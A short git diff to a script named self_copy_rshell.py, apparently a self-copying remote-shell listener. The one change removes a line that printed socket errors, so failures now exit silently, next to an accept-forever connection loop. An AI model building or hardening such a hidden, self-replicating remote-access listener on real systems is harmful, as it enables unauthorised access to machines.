diff --git a/self_copy_rshell.py b/self_copy_rshell.py
index 7efa3d2..ea27c04 100644
--- a/self_copy_rshell.py
+++ b/self_copy_rshell.py
@@ -51,7 +51,6 @@ try:                                                    #!x
   s.listen(1)                                           #!x
 # poor mans socket error handling
 except socket.error as e:                               #!x
-  print(e)                                              #!x
   sys.exit(0)                                           #!x
 # forever try to accept new connections
 while 1:                                                #!x